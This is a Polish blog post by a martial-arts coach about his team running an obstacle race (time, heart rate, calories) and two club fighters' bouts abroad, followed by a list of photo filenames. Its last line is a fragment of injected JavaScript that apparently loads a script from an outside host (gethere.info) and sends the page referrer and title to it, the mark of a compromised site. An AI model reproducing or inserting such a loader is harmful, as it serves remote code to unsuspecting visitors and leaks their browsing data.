Chcesz dobrze walczyć-musisz biegać :)

21.05.2014 / Mariusz Cieśliński

W miniony weekend miałem przyjemność startowania w ekipie „STAR TREC TEAM”. 15 osób -zapaśnicy,zawodnicy muaythai i taekwondo…

Zawody to były Men Expert Survival Race

Przeszkody nie stanowiły większego problemu.Trudniejsze odcinki mam u siebie stworzone z naturalnych przeszkód terenowych w Książańskim Parku Krajobrazowym.W połączeniu z dystansem można się było zmęczyć.My to potraktowaliśmy jako dobrą formę treningu.Ja całą trasę zaliczyłem w 40minut jeśli mój pulsometr nie skłamał :)-Spaliłem przy tym 773kcal.Średnie tętno 175 uderzeń /minutę. Był zapas mocy jeszcze.Żele Action Line-na taki dzień zmagań idealnie się nadają.

Biegliśmy falami co 15minut.Tak naprawdę problem stanowili maruderzy z poprzednich fal,których trzeba było omijać na wąskich przesmykach lub przeszkodach.

W tym samym czasie dwóch zawodników mojego klubu-Bartek Batra i Jarek Zawodni walczyli w Szkocji i na Węgrzech.Bartek wygrał przez k.o. w 3rundzie w Edynburgu na gali  Muaythai JAM, Jarek w finale pucharu świata WAKO K-1 rules został dziwnie potraktowany przez sędziów,którzy dali wygraną jego oponentowi.

W galerii kilka zdjęć z walki Bartka,oraz naszego „Star Trec Team” z wrocławskiego biegu. W linku też jest fajny motywator z walczącymi sprtowcami-atletamiTRECTEAM.Miłego oglądania.

 

10152577_10201976966938244_9081993984741920766_n 10270494_10201976972978395_6379857391640281545_n 10274177_865341130150026_8592072166173419331_n 10275996_866771923340280_2408419264495061071_n 10277844_865341296816676_5527417373623659034_n 10291067_625683250853332_1508313883909146668_n 10294442_686597158077568_2994291230373707389_n 10294478_866771976673608_4911587528448929131_n

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;